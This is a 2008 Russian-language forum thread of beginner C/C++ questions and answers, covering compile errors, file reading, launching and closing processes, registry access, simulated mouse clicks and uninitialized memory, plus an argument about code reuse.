#define TEST_STRING "home, sweet home..."
#define PHRASE_SRC "home"
#define PHRASE_RES "end"
char szSource[] = TEST_STRING, szResult[sizeof(TEST_STRING)] = "\0";

for(int i=0, j=0; i<strlen(TEST_STRING); i++, j++) {
if(!memcmp(szSource+i, PHRASE_SRC, strlen(PHRASE_SRC))) {
memcpy(szResult+j, PHRASE_RES, strlen(PHRASE_RES));
i += strlen(PHRASE_SRC); j += strlen(PHRASE_RES);
}
szResult[j] = szSource[i];
}

SlyBit
15.07.2008, 22:07
zythar

:))))))))))))) отвечал на пост #1314 человеку с ником FIND_ERROR

sky7
16.07.2008, 01:20
Пытаюсь запустить следующий пример на Microsoft Visual C++ 6.0

#include <iostream.h>

class DataClass
{
private:
int PrivateDataMember;
public:
Dataclass(int value);
int PublicDataMember;
int PublicMethod(void);
};

Dataclass::Dataclass(int value)
{
PrivateDataMember = value;
}

int Dataclass::PublicMethod(void)
{
return PrivateDataMember;
}

void main()
{
Dataclass Dataobject(1);
Dataobject.PublicDataMember = 2;

cout << Dataobject.PublicDataMember << "\n";
cout << Dataobject.PublicMethod() << "\n";
}


Но получаю такие ошибки:
D:\VCPP\Classes\classes\classes.cpp(12) : error C2653: 'Dataclass' : is not a class or namespace name
D:\VCPP\Classes\classes\classes.cpp(14) : error C2065: 'PrivateDataMember' : undeclared identifier
D:\VCPP\Classes\classes\classes.cpp(19) : error C2065: 'Dataclass' : undeclared identifier
D:\VCPP\Classes\classes\classes.cpp(19) : error C2146: syntax error : missing ';' before identifier 'Dataobject'
D:\VCPP\Classes\classes\classes.cpp(19) : error C2065: 'Dataobject' : undeclared identifier
D:\VCPP\Classes\classes\classes.cpp(20) : error C2228: left of '.PublicDataMember' must have class/struct/union type
D:\VCPP\Classes\classes\classes.cpp(22) : error C2228: left of '.PublicDataMember' must have class/struct/union type
D:\VCPP\Classes\classes\classes.cpp(23) : error C2228: left of '.PublicMethod' must have class/struct/union type
Error executing cl.exe.

classes.obj - 8 error(s), 0 warning(s)

Помогите разобратся

_antony
16.07.2008, 11:30
Пытаюсь запустить следующий пример на Microsoft Visual C++ 6.0

#include <iostream.h>

class DataClass
{
private:
int PrivateDataMember;
public:
Dataclass(int value);
int PublicDataMember;
int PublicMethod(void);
};

Dataclass::Dataclass(int value)
{
PrivateDataMember = value;
}

int Dataclass::PublicMethod(void)
{
return PrivateDataMember;
}

void main()
{
Dataclass Dataobject(1);
Dataobject.PublicDataMember = 2;

cout << Dataobject.PublicDataMember << "\n";
cout << Dataobject.PublicMethod() << "\n";
}


Но получаю такие ошибки:
D:\VCPP\Classes\classes\classes.cpp(12) : error C2653: 'Dataclass' : is not a class or namespace name
D:\VCPP\Classes\classes\classes.cpp(14) : error C2065: 'PrivateDataMember' : undeclared identifier
D:\VCPP\Classes\classes\classes.cpp(19) : error C2065: 'Dataclass' : undeclared identifier
D:\VCPP\Classes\classes\classes.cpp(19) : error C2146: syntax error : missing ';' before identifier 'Dataobject'
D:\VCPP\Classes\classes\classes.cpp(19) : error C2065: 'Dataobject' : undeclared identifier
D:\VCPP\Classes\classes\classes.cpp(20) : error C2228: left of '.PublicDataMember' must have class/struct/union type
D:\VCPP\Classes\classes\classes.cpp(22) : error C2228: left of '.PublicDataMember' must have class/struct/union type
D:\VCPP\Classes\classes\classes.cpp(23) : error C2228: left of '.PublicMethod' must have class/struct/union type
Error executing cl.exe.

classes.obj - 8 error(s), 0 warning(s)

Помогите разобратся
Ошибся из-за невнимательности class DataClass , а патом пишешь :
Dataclass::Dataclass(int value) . Ниже также.
в разделе public тоже исправь на
DataСlass(int value);
int DataСlass::PublicMethod(void)
DataClass Dataobject(1);
Даже по логике , название конструктора должно быть идентично имени класса.

_antony
16.07.2008, 15:30
Прошу помочь мне с кодом.
Прогарммирую под Linux на Glade 3.4.5
Возникла небольшая проблема, Есть в одной папке 2 программы с исходниками, Нужно в сорцах первой проги написать команду что бы при нажатии на клавишу запускалась другая программа, Перерыл уже кучу инфы по Си и GTK+
Очень прошу мне помочь.
(fopen () , open () не подходит, т.к. нужно запустить прогу не в скрытом режиме, а как будто юзверь запустил ее самостоятельно кликом, окон никаких почему то не выскакивает при использовании данных функций)

UPD
Нашел
#include <stdlib.h>
int system(const char * string);
Но не вкурил как юзать. может кто нить разъяснит?

если я правильно тебя понял тебе просто надо запустить программу.
вот , что первое в голову пришло .

#include<stdio.h>
#include<stdlib.h>
int main(int argc , char *argv[])
{
system("./test");
return 0;
}

прога test просто hello world выводит.

> cd tt
> ls
ex ex.c test test.c test.o
> ./ex
hello world

и обрати внимания на эти функции
NAME execl, execlp, execle, exect, execv, execvp, execvP -- execute a file

FIND_ERROR
17.07.2008, 10:26
SlyBit спасиб большое :) где неспрашивал фигню такую приводили кода куча и замена тока слов одинаковойй длины :(

Smapt
19.07.2008, 19:47
Пытаюсь подключится к MySQL из VC++
MYSQL* mysql;
mysql=new MYSQL;
mysql=mysql_init(0);
mysql_real_connect(mysql,"localhost","root","","",3306,"",0);
возникают ошибки:
test.obj : error LNK2001: unresolved external symbol _mysql_init@4
test.obj : error LNK2001: unresolved external symbol _mysql_real_connect@32

Если подключить libmySQL.lib сделаную с помощью борландовсой implib пишет:
.\mysqlapi\libmySQL.lib : fatal error LNK1136: invalid or corrupt file

Baron Night
21.07.2008, 17:12
Есть текстовый файл, Содержит всего одну строчку из 8 символов, Открываю его через fopen
а прочитать через gets (in) копм не может, виснет
вот кусок кода:

{
char prov;
char ch;
GtkWidget *entry = glade_xml_get_widget(xml, "entry");
prov = gtk_entry_get_text(GTK_ENTRY(entry));
FILE *in;
in = fopen("password.text", "r");
ch = gets(in);
fclose (in);
if (ch == prov)
{ gtk_main_quit();
system("./Set");
return 0;
}else
{
GtkWidget *labelNever;
labelNever = glade_xml_get_widget(xml, "labelNever");
gtk_label_set_text (GTK_LABEL (labelNever) , "Неверный пароль");
}



Где ошибка?
p.s. *nix

Delimiter
21.07.2008, 18:19
1.fopen открываться должен с флагом "rt"
2.в байт не сохранишь строку
3.синтаксис fgets не верный (если реально хотите поток файловый)

Baron Night
21.07.2008, 18:42
как тогда записать строку в бувер и присвоить переменной это значение?
Не могли бы вы привести пример? Был бы очень благодарен. Заранее спасибо

blaga
21.07.2008, 19:00
Всем привет. Я тут с другом бота пишу для аськи и вот у меня вопрос появился такой. Как сделать что бы бота можно было добавлять не отсылая ему запрос о авторизации? желательно кодом.
Используем компонент TICQClient

Delimiter
21.07.2008, 19:05
2 Baron

FILE *in;
char ch[50]; // вот открывается массив
in = fopen("password.text", "rt");
fgets(ch,49,in); //вот заталкиваются данные пока не встретится перевод строки
// но не более 49 символов
fclose (in);

izlesa
21.07.2008, 20:00
2blaga
я счас ворос задам, ктр откроет тебе истину )
а причём здесь Си?

Это либо протокол (OSCAR) капать, если хочешь фана получить и писать свою реализацию его ^____^
либо читать документацию по этому компоненту.

От себя посоветую первый путь, ибо опыт получишь неоценимый.

Delimiter
21.07.2008, 20:08
2 izlesa
протокол копать нужно тем кто пишет все сам, 8))) а халявщики используют компоненты, но их постигнет ужасная участь када ICQ изменит протокол хоть чуть чуть....

и они окажутся у раздолбанного корыта 8)))))

blaga
21.07.2008, 20:17
Delimiter, izlesa, у нас старый компонент пришлось его самим патчить что бы работал. версия протокала старая.

izlesa
21.07.2008, 21:42
2Delimiter
Вообще непонимаю таких вот. Написание логики примитивного бота довольно нудная и скучная задача. Куда интереснее пореверсить протокол, найти его отличия от имеющихся описаний старых версий))

2blaga
не помню какая счас версия ОСКАРа, но за время своего существования он несколько менялся. И не факт, что не изменится снова. Оссобено в свете того что Майкрософт хочет её (аську) купить.
И если уж собрались писать нормального бота, ктр будет долго жить и развиватся, то всётаки идите капатся в протоколе. И я кстати не уверен, что в вашем компоненте реализованы все его фишки, ктр могли бы быть вам полезны.
Да и ещё, юзание компонента не принесёт большой пользы для вас как программистов. Но решать всяко вам.

blaga
22.07.2008, 06:52
izlesa, ну вот пока мы всяко и решили.) За коммент конечно спасибо, но на свой вопрос кокретного ответа я все таки не услышал. Поищу по тому что ты предоставил.

izlesa
22.07.2008, 09:11
2blaga
конкретного ответа не получили, тк не задали конкретный вопрос, ведь слухи про телепатов лишь домыслы жёлтой прессы ^_____^
Авторизация задаётся, на-сколько я помню, в обмене настройками клиента с сервером в одном из снэков. Реализовано ли это в вашем компоненте не знаю, тк не юзал его. Хотя возможно я и ошибаюсь, тк протокол копал достаточно давно. Жаль, немогу исходники выложить, инфа похерилась со старым винтом (

nerezus
22.07.2008, 11:01
а халявщики используют компоненты, но их постигнет ужасная участь када Icq изменит протокол хоть чуть чуть.... А если чел пишет сам, то разве его не постигнет ужасная участь?

Помойму легче обновить компонент, чем опять ковырять код и правитть его.
А если компонент не поддерживается - то можно уже и самому компонент поправить.

Delimiter
22.07.2008, 13:31
>>А если компонент не поддерживается - то можно уже и самому компонент поправить.

При смене порядка следования flap-сов Snack-сов и TLV-шек... может пересобрать только человек высочайшей квалификации, а в своем коде это можно сделать просто посмотрев какой новый порядок и изменить в течении 5 минут!

... про ковыряния кода 8))))))))) программер ковырять может только чужой код а своим он "дышит"!

главная проблема горе-программистов, что они копи-пейстят чужие коды и выкладывают их в паблик а при изменении чуток условий тупо смотрят на код и никому ничего обьясниьть не могут!
...

Feonor
25.07.2008, 13:10
>>
главная проблема горе-программистов, что они копи-пейстят чужие коды и выкладывают их в паблик а при изменении чуток условий тупо смотрят на код и никому ничего обьясниьть не могут!
...

Согласен хот спот до добра не доведет :)

Forcer
26.07.2008, 00:35
А я не согласен. Я гораздо быстрее выпущу cвой application, собранный из модулей, чем другой программист, писавший сам эти модули. А потом эти модули буду менять, если потребуется. Да, я оказываюсь зависимым от модулей, но время разработки решает. Достаточно лишь посмотреть на историю развития языков программирования чтобы в этом убедиться.

nerezus
26.07.2008, 00:38
Я гораздо быстрее выпущу cвой application, собранный из модулей, чем другой программист, писавший сам эти модули. +1
Тем более более качественно.

Delimiter
26.07.2008, 00:46
8) .... ну это программеры-коммерсанты 8))))) ....

вы уверены что хотите попасть именно в эту категорию!?

2 nerezus

по поводу очень качественно??? Вы так уверены в чужом коде??? Интересно значит мы выигрываем студенческие олимпиады по программированию а надеяться должны на чужие коды кто этих олимпиад не выигрывал??? Парадокс однако!

Пипец! 8))))
Вы хоть сами то понимаете что писать много софта и не нужно.... хорошие программы работают и работают и пусть на них затрачено в 1.5 раза больше времени, а писать трэш.... можно много и быстро но не нужно! Посчитайте сколько программеров .... и сколько хороших программ нас окружает, простая статистика дает что 80 % программистов пишут ТРЕШ!

nerezus
26.07.2008, 23:09
мы выигрываем студенческие олимпиады по программированию школьные только. Кстати это ты хотел задачки с Acmа глянуть, а то меня попросили решить тут, могу показать.

а надеяться должны на чужие коды кто этих олимпиад не выигрывал??? У меня в группе человек по волгоградской области занимающий первые места.
В общем его код мне не нравится(а вот идеи охуенные выдвигает он), и он не был на первом месте9да хотя бы из моей группы) среди тех, с кем бы я хотел вместе писать. Есть несколько человек, код которых более качественный.

Парадокс однако! Где? Кто тебе сказал, что для написания прграммы хватит знания алгоритмов? А где же проектирование и знание технологий?

Delimiter
27.07.2008, 20:00
Nerezus я уже понял что ты вырос на джинсах и жевачке, но проверить хотя бы чуток интернет на предмет ерунды которую мелешь ты с твоими балЛлами за репутацию ОБЯЗАН! Было бы право поставил - в репу!
http://en.wikipedia.org/wiki/ACM_International_Collegiate_Programming_Contest#2 008_World_Finals

... дальше первого пункта даже читать не стал... сказки каждый может писать!

О каких технологиях вы говорите .... о тех за которыми как за умными фразами скрывают отсутствие чего либо??? Веером раскладывают сертификаты у работодателя а потом тупо не могут написать код .... кричат поставьте мне задачу как следует??? Скажите А складывать с B или с С????

Feonor
27.07.2008, 23:32
А я не согласен. Я гораздо быстрее выпущу cвой application, собранный из модулей, чем другой программист, писавший сам эти модули. А потом эти модули буду менять, если потребуется. Да, я оказываюсь зависимым от модулей, но время разработки решает. Достаточно лишь посмотреть на историю развития языков программирования чтобы в этом убедиться.

Я не то имел ввиду. Хот спот есть зло и это однозначно. Но я также как все норм программеры пишу проги с готовых модулей и все работает, важно понимать что ты копи пейстиш. Если будешь только потребителем то это путь в никуда...

з.ы. занимаюсь экстримальным программированием, поэтому не пишу код полностью с нуля, тупо времени не хватит

з.з.ы. Хот спот - зло, это очевидно...(имхо)

Forcer
28.07.2008, 00:51
занимаюсь экстримальным программированием, поэтому не пишу код полностью с нуля, тупо времени не хватит
одни красивые слова. Смысл xp вовсе не в собирании модулей. А модульное программирование и без хр применяется.

з.з.ы. Хот спот - зло, это очевидно...(имхо)
Что очевидно, не всегда верно. Как и в этом случае. Как я уже написал - скорость разработки решает. 1.5 раза, упомянутые Delimiter'ом, это слишком много. К тому же по большей части используются одни и те же проверенные компоненты. Хочу отметить, что это не означает отсутствие алгоритмической и математической подготовки разработчика.

и все работает
этого не достаточно.

Delimiter
Ты упустил нить повествования. Речь про олимпиады не шла. Было сказано, что на олимпиадах только алгоритмическая подготовка, а этого недостаточно чтобы писать программы. Поэтому ссылка не в тему. А примеров технологий я могу привести кучу,

nerezus
28.07.2008, 09:10
О каких технологиях вы говорите .... о тех за которыми как за умными фразами скрывают отсутствие чего либо??? О, ты не признаешь технологий?
Я книжку отдажды читал, там был тип на тебя похожий, его Женей звали. Женя Базаров ;)

Было сказано, что на олимпиадах только алгоритмическая подготовка, а этого недостаточно чтобы писать программы. именно так!
Этого далеко недостаточно и на этом никуда не уедешь и дальше абстрактных задачек не продвинешься.

Вот пример задачки(недавно делал): составить БД(ФИО юзверя|IP|MAC|порт на патч-панели|порт на коммутаторе) с автозаполнением IP и MAC через номер порта коммутатора. С одной стороны все просто, но с другой стороны без знания HTTP, HTML, SQL, SNMP хyй что сделаешь.

Feonor
28.07.2008, 11:33
Что очевидно, не всегда верно. Как и в этом случае. Как я уже написал - скорость разработки решает. 1.5 раза, упомянутые Delimiter'ом, это слишком много.


Ну если тебе важней успеть в срок то да конечно, только потом пользователь имеет кучу багов и недоделок. Тут нужно просто для себя выбрать либо быстро и сердито либо дольше(не всегда потому что нет нужды писать то что уже написано, особенно уже проверенные компоненты), но качественней.


Хочу отметить, что это не означает отсутствие алгоритмической и математической подготовки разработчика.


Вот! О чем и речь. Использовать готовые модули это не плохо, важно понимать что ты на копи пейстил. Потом прога накручивается и если делаешь и не понимаешь то в через неделю ваще не разберешся...

Delimiter
28.07.2008, 12:34
2 nerezus
все нормальные работодатели знают что брать спеца лучше с алгоритмической подготовкой а в MSDN он и сам глянет! Разное время на обучение специалистов!

Давай я вам дам задачку (ЗАДАЧА РЕАЛЬНАЯ И МНЕ ПОХ ЧТО ТЫ ЧЕГО ТО ТАМ ДЕЛАЕШЬ С МАК И SQL) ... я вас понял обоих !

ПОЭТОМУ ДАВАЙТЕ КА ПОНТАНИТЕСЬ
Два массива A и B массивы представляют из себя базы с числом записей 10000, для упрощения скажу что там одно единственное поле уникальное ,но может встречаться и
пробел который назовем пустым полем. Массив B образован путем ПЕРЕМЕШИВАНИЯ, УДАЛЕНИЯ, ВВОДА НОВЫХ. Скажу сразу порядок элементов является ВАЖНЫМ!

Передавать базу ежедневно по сети - это не решение!
Суть такова имея 2 массива создать МИНИМАЛЬНОЕ количество комманд синхронизации
I(N) -вставка строки по номеру N со сдвигом всех нижних ниже
D(N) -удаление строки с номером N cо сдвигом всех нижних вверх
S(N,V) -вставка значений в строку N c перезаписью значения.

... кароче разговор превращенный во флуд прекращаем, пока не будет решения!
Алгоритмы мне ваши не нужны своих хватает, поэтому решение будет засчитываться как
сами комманды!

Понятно что быдлокодер будет просто тупо передавать базу с ипользованием TCP 8)))) .... и не важно что он использует TCP главное что его задача с первого момента уже является ТРЭШОМ!

Doom123
28.07.2008, 14:52
Читаю я книгу по С++ там был пример моделирования игры =)

то пример сработал .. я решил немного его переделать и он перестал работать ....


#include <stdafx.h>

int roll(void);
void game(int& money,int stav);

int main(int argc, char *argv[])
{
int bank = 1000;
int stavka;
setlocale(LC_ALL,"Russian");

std::cout << "Денег в банке: " << bank << std::endl;
std::cout << "Делай ставку или уходи!(для ухода введите Ctrl+Z): ";

while((stavka = std::cin.get()) != EOF)
{
if(stavka > bank)
{
std::cout << "Ставка не верна! Введите ставку ещё раз: ";
} else {
game(bank,stavka);
std::cout << "Денег в банке:" << bank << std::endl;

if(bank == 0)
{
std::cout << "Вы банкрот! Можете уходить." <<std::endl;
break;
} else {
std::cout << std::endl
<< "Введите ставку для продолжения или Ctrl + Z для выхода: ";
}
}
}
return 0;
}

void game(int& money,int stav)
{
enum Status { CONTINUE, WIN, LOST };
int sum,myPoint;
Status gameStat;

srand(time(NULL));
sum = roll();

switch(sum)
{
case 7: case 11:
gameStat = WIN;
break;
case 2: case 3: case 12:
gameStat = LOST;
break;
default:
gameStat = CONTINUE;
myPoint = sum;
std::cout << "Очки: " << myPoint << std::endl;
break;
}

while (gameStat == CONTINUE){
sum = roll();

if(sum == myPoint)
gameStat = WIN;
else if(sum == 7)
gameStat = LOST;
}

if(gameStat == WIN)
{
std::cout <<"Вы выйграли!!!" << std::endl;
money += stav;
}
else
{
std::cout <<"Вы проиграл!" << std::endl;
money -= stav;
}
}

int roll(void){
int sum1,sum2,all;

sum1 = 1 + rand() % 6;
sum2 = 1 + rand() % 6;
all = sum1 + sum2;
std::cout <<"Результат кидания: " << all << std::endl;
return all;
}


воть ... при запуске я ввожу ставку... например 100
но она не берёт эту ставку а присваивает переменой stavka число 49(так и не понел откуда) потом он не спрашивая меня проходит ещё несколько кругов игры а потм вспоминает о том что надо ввести ставку =)

Вот лог


Денег в банке: 1000
Делай ставку или уходи!(для ухода введите Ctrl+Z): 10
Результат кидания: 11
Вы выйграли!!!
Денег в банке:1049

Введите ставку для продолжения или Ctrl + Z для выхода: Результат кидания: 11
Вы выйграли!!!
Денег в банке:1097

Введите ставку для продолжения или Ctrl + Z для выхода: Результат кидания: 11
Вы выйграли!!!
Денег в банке:1107

Введите ставку для продолжения или Ctrl + Z для выхода: 100
Результат кидания: 8
Очки: 8
Результат кидания: 8
Вы выйграли!!!
Денег в банке:1156

Введите ставку для продолжения или Ctrl + Z для выхода: Результат кидания: 8
Очки: 8
Результат кидания: 8
Вы выйграли!!!
Денег в банке:1204

Введите ставку для продолжения или Ctrl + Z для выхода: Результат кидания: 8
Очки: 8
Результат кидания: 8
Вы выйграли!!!
Денег в банке:1252

Введите ставку для продолжения или Ctrl + Z для выхода: Результат кидания: 8
Очки: 8
Результат кидания: 8
Вы выйграли!!!
Денег в банке:1262

Введите ставку для продолжения или Ctrl + Z для выхода:

izlesa
28.07.2008, 16:36
2Doom123
49d = 31h = '1'
те cin.get() берёт ввод в виде строки и не преобразует его к типу int ^_____^

если Си++ пользуй cin >> stavka;
Возможно у cin есть методы нормально преобразующие ввод, но я слабо знаком с плюсами.
счас на мсдн посмотрел, вроде в cin.get() можно задавать параметры для интерпритации ввода. Погугли на эту тему )

nerezus
28.07.2008, 19:09
ПОЭТОМУ ДАВАЙТЕ КА ПОНТАНИТЕСЬ итак, 2 массива строк(все значения уникальные) A и B? И имея A и B на одной машине, надо на другую послать набор комманд, чтобы она на той A превратила в B?

z01b
31.07.2008, 19:24
Подскажите пожалуйста функцию и инклуду для консольного приложения,которая добавляет параметры в реестр.
не понял ничего из твоего поста ...
ЗЫ #include <windows.h> там наверное все что тебе нужно ...

_empty
31.07.2008, 20:12
Подскажите пожалуйста функцию и инклуду для консольного приложения,которая добавляет параметры в реестр.

#include <windows.h>

Апи функции: RegOpenKey, RegOpenKeyEx,RegSetValue, примеры использования можно найти в гугле или на мсдн (http://msdn.com)

izlesa
31.07.2008, 20:39
прямая сцылко на описание реестра на MSDN
http://msdn.microsoft.com/en-us/library/ms724871(VS.85).aspx

_nic
04.08.2008, 18:25
Обьясните плз чайнику почему при копирование одного символа из строки за ним появляется мусор(в перемонной b)

main()
{
char *a=new char[100];
char *b=new char[100];
strcpy(a,"abcde");
cout<<a<<endl;
strncpy(b,a,1);
printf("%s",b);
getch();
}
а если добавить строчку memset(b,NULL,100); то все ОК :confused: Разве переменная сразу после её инициализации не является пустой????

izlesa
04.08.2008, 19:40
нет, автоматические переменные (память выделяется в стеке) при создании не обнуляются и там содержится мусор.
Как и динамические массивы как в твоём примере (память выделяется в куче).
Обнуляются только статические переменные (память в секции данных).

SlyBit
04.08.2008, 21:14
_nic

вместо char *a=new char[100]; лучше используй char *a = (char*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 100);

izlesa
04.08.2008, 22:09
2SlyBit
не мешай человеку стандартную библиотеку изучать ^_____^
нда, и с чего ты взял, что это он под винду кодит?

SlyBit
04.08.2008, 22:31
izlesa

почитал его предыдущие посты ;)

_nic
05.08.2008, 01:24
_nic

вместо char *a=new char[100]; лучше используй char *a = (char*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 100);
Какие преимущества дает такая громоздкая конструкция?

izlesa
05.08.2008, 07:06
2_nic
она эффективнее ) тк в конечном итоге функции из стандартной библиотеки вызывают ВинАПИ и в частности эту функцию.
Хотя можешь не парится и использовать malloc ... всмысле new ^_____^

SlyBit
05.08.2008, 10:39
+ обнуление памяти

Patrik
07.08.2008, 12:58
Меня интересует, существуют ли какие-нибудь универсальные средства визуализации XML (XSD) на языке C(C++,C#), т.е. чтоб из xml-документа сделать графический, табличку, например, или массив табличек на листике.

agrofyl2
07.08.2008, 23:34
Здравствуйте. Научился я чуточку кодить на PHP, решил начать кодить на С++. Так вот пара вопросов. 1. Как осуществить конкатенцию строк. Как получить строку, которая выглядит на пхп так: $a="hello, $name";. 2. Как имитировать клик, двойной клик мыши. Ставим курсор, получаем ид. окна, пишем SendMessage(windid, LBUTTONDOWN... потом батон ап. Но при запуске проги получается просто как будто я нажал и держу кнопку мыши. Реализовать полный щелчек? Например нужно запустить прогу с раб. стола(дабл клик), или нажать на кнопку меню.
Спасибо. Надеюсь все описал понятно и без ошибок-я с мобилы. Буду очень благодарен за помощь.

izlesa
08.08.2008, 00:03
1. char *strcat(char *dist, const char *src) - функция из стандартной библиотеки (объявляется в string.h) присоединяет src в конец dist. Нужно следить, чтобы в dist хватало места.

2. Если приложение твоё, то проще послать соответствующее WM_COMMAND, ктр запускает обработчик нажатия буттона.

имитация
DBLCLICK - WM_LBUTTONDBLCLK
LEFTCLICK - WM_LBUTTONDOWN/WM_LBUTTONUP с соответствующими lParam и wParam

ЗЫ сожги свою книгу по Си++

agrofyl2
08.08.2008, 13:17
Такс.
Значит разобрался я со даблкликом, могу запустить прогу с рабочего стола, вот так:

Sleep(3000);//чтоб успеть свернуть окно

POINT pt={25, 35};

HWND Wind = WindowFromPoint(pt);
SetCursorPos(pt.x, pt.y);
SendMessage(Wind, WM_LBUTTONDOWN, pt.x, pt.y);
SendMessage(Wind, WM_LBUTTONDBLCLK, pt.x, pt.y);
SendMessage(Wind, WM_LBUTTONUP, pt.x, pt.y);
Все ок.
Дальше - пытаюсь закрыть открытую программу(Тотал Коммандер), кликнув по батону "закрыть", вот так:


Sleep(2000);

POINT pt2={900, 100};
HWND Wind2 = WindowFromPoint(pt2);
SetCursorPos(pt2.x, pt2.y);
SendMessage(Wind, WM_LBUTTONDOWN, pt2.x, pt2.y);
SendMessage(Wind, WM_LBUTTONUP, pt2.x, pt2.y);


Но ничего не получается...
Сильно не пиннайте, я всего 3 дня с С++.

ПС. Спасибо за помощь.
ППС. Учебник у меня и вправду г.

izlesa
08.08.2008, 14:05
2agrofyl2
Нафига такие извращения для запуска сторонней проги?
Прочти в МСДН про функцию CreateProcess.
Далее, чтобы закрыть какойто процесс ненужно двигать указатель и имитировать нажатие клавиш тоже. Нужно всего лишь получить хэндл процесса (CreateProcess его кстати и вернёт, см подробней МСДН) и вызвать функцию TerminateProcess.

Второе. Если ты лишь третий день изучаешь Си++ то тебе ещё рано изучать архитектуру винды.

МСДН = msdn.microsoft.com

agrofyl2
08.08.2008, 14:23
1. Запуск проги просто пример. Давно хотел запустить прогу, которая сама могла бы кликать.
А так то я знаю, что запустить/закрыть прогу лучше без мыши...
2. Просто решил попробывать, как это происходит. Конечно лезть в винду мне пока рано.

z01b
08.08.2008, 18:48
1. Запуск проги просто пример. Давно хотел запустить прогу, которая сама могла бы кликать.
А так то я знаю, что запустить/закрыть прогу лучше без мыши...
2. Просто решил попробывать, как это происходит. Конечно лезть в винду мне пока рано.
Ты толком синтаксис не знаешь, а уже начал программировать на win api ...

h17liNEr
08.08.2008, 19:06
Такой вопрос. Написал программу (работа с сокетами,клиент). Так вот .. просматриваю результат , что то передал сервер:
printf("%x", buf[i]);. Вообщем то всё норм. только вот проскакивает такое: FFFFFFC6. Насколько я понял ето тоже самое что C6. Откуда берётся FF FF FF??

cash$$$
08.08.2008, 19:30
Такой вопрос. Написал программу (работа с сокетами,клиент). Так вот .. просматриваю результат , что то передал сервер:
printf("%x", buf[i]);. Вообщем то всё норм. только вот проскакивает такое: FFFFFFC6. Насколько я понял ето тоже самое что C6. Откуда берётся FF FF FF??
Имхо - это сокращенные имена для всех системных записей. Которые собраны в файлах.
Некоторые записи имеют 32-разрядные имена и два 16-разрядных имени. Они выбирают Configuration записи, где FFFFFFC6 - это адрес

izlesa
08.08.2008, 20:00
2cash$$$
эээ ... ты сам то понял, что сказал?

2h17liNEr
сорцы клиента и сервера в студию.

Пиотр Тотамович
08.08.2008, 21:27
какой тип имеют элементы массива buf? Если знаковый (по умолчанию все типы знаковые), то при помещении аргумента в стек он расширяется до 32 бит и старшие разряды заполняются знаком

_nic
11.08.2008, 20:37
Кто знает в какой строке реестра находится путь к "браузер по умолчанию" ??

agrofyl2
11.08.2008, 22:50
Эх. начав изучать C++ я понял- программирование сложно...
Сложно потому что тупо.
Столько премудростей чтобы сделать такую простую вещь.

Стоит ли тратить на это время?

merax
11.08.2008, 23:02
Кто знает в какой строке реестра находится путь к "браузер по умолчанию" ??

/HKEY_CURRENT_USER/Software/Microsoft/Internet Explorer/Main/Check_Associations

Если поставишь yes станет осел по умолчанию...

M@X Dr.Akyla
11.08.2008, 23:52
Стоит ли тратить на это время?
Если ты задаешь такой вопрос тогда... мой ответ: НЕТ.

_Psi_
12.08.2008, 00:08
Эх. начав изучать C++ я понял- программирование сложно...
Сложно потому что тупо.
Столько премудростей чтобы сделать такую простую вещь.

Стоит ли тратить на это время?
если язык первый, то не стоит учить, учи что-нибудь попроще(пхп, паскаль етс). Потом можно и С++ начать изучать.
PS: Хотя я сам начал учить С++ первым, сначало было очень тяжело, потом ниче, освоился:)

_nic
12.08.2008, 00:34
/HKEY_CURRENT_USER/Software/Microsoft/Internet Explorer/Main/Check_Associations

Если поставишь yes станет осел по умолчанию...
Хм странно а как тогда некоторые проги определяют что у меня по умолчанию браузером Опера?

merax
12.08.2008, 08:57
Тут узнают

HKEY_CURRENT_USER\Software\Clients\StartMenuIntern et

_nic
12.08.2008, 23:06
Тут узнают

HKEY_CURRENT_USER\Software\Clients\StartMenuIntern et
Хм странно у меня Опера в :confused:
HKEY_LOCAL_MACHINE\SOFTWARE\Clients\StartMenuInter net

merax
13.08.2008, 11:14
Стоит ли тратить на это время?

Конечно же не стоит. Это сложно и тупо. Изучай лучше месторасположение ближайших баров и рельеф тела девушки. Это больше тебе пригодится чем изучать С++ да потом еще ведь потом на нем программировать придется....


Хм странно у меня Опера в
HKEY_LOCAL_MACHINE\SOFTWARE\Clients\StartMenuInter net

А что должно быть если ты сам сказал, что у тебя опера :confused:

hoty
13.08.2008, 18:23
Хочу описать массив структур, кол-во структур = N.
#include<conio.h>
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<dos.h>

#define N 20;

int B[N], size = 0; //massiv indeksov

struct data //massiv structur
{ char name[20]; //name
char address[20]; //adres
unsigned long int tel; //telefon
} base[N];

Если указываю вместо N число (например,10) - все работает.
Но почему если указываю N (в выделденных местах) компиляторы (turbo c++ 3.0 и borland C 2) не хотят компилировать?
Пишет ошибку "что-то вроде выхода границ массива".

Но нужно испольовать N, помогите, плз.

Piflit
13.08.2008, 18:41
#define N 20
без точки с запятой

_antony
13.08.2008, 18:42
а все не правильно понял. пост можно стереть)

NC22
14.08.2008, 05:59
Delete

Doom123
14.08.2008, 12:34
Драсте =)


Может мне ктото плиз рассказать Зачем нужны указатели ?)

типо: тип *перемменая

я тут в книге читаю и никак не пойму =\\



int cube(int *nPtr)
{
return *nPtr * *nPtr * *nPtr;
}


и вызывают таким образом


cube(&переменная);


тоесть по ссылке .... но тут ведь можно срузу по ссыле передать без указателей и эфект будет тотже ... или я ошибаюсь?

M@X Dr.Akyla
14.08.2008, 12:42
Может мне ктото плиз рассказать Зачем нужны указатели ?\
Читай дальше там еще про ссылки написано. :)

Kaimi
14.08.2008, 12:42
Зачем нужны указатели ?)

Чтобы хранить адрес памяти)

Doom123
14.08.2008, 12:49
M@X Dr.Akyla ссылки я прошёл и знаю я про них ещё с пхп .... просто не пойму нах указатели еси есть ссылки =)

Kaimi
14.08.2008, 12:58
Почитай http://forum.ixbt.com/topic.cgi?id=40:737

M@X Dr.Akyla
14.08.2008, 13:10
M@X Dr.Akyla ссылки я прошёл и знаю я про них ещё с пхп .... просто не пойму нах указатели еси есть ссылки =)
Ссылку нельзя переназначить и она не может быть нулевой.

sharkerr
15.08.2008, 11:04
Собственно, а как можно найти в строке шестнадцатиричные числа? Помогите пожалуйста как это можно реализовать стандартными средствами, без всяких дополнительных библиотек (boost, stl).

iv.
15.08.2008, 11:21
Собственно, а как можно найти в строке шестнадцатиричные числа? Помогите пожалуйста как это можно реализовать стандартными средствами, без всяких дополнительных библиотек (boost, stl).
пример строки?
ну вообще что-нить типа
if (str[x-1] == <цифра> && str[x] == 'h' && str[x+1] == ' ')
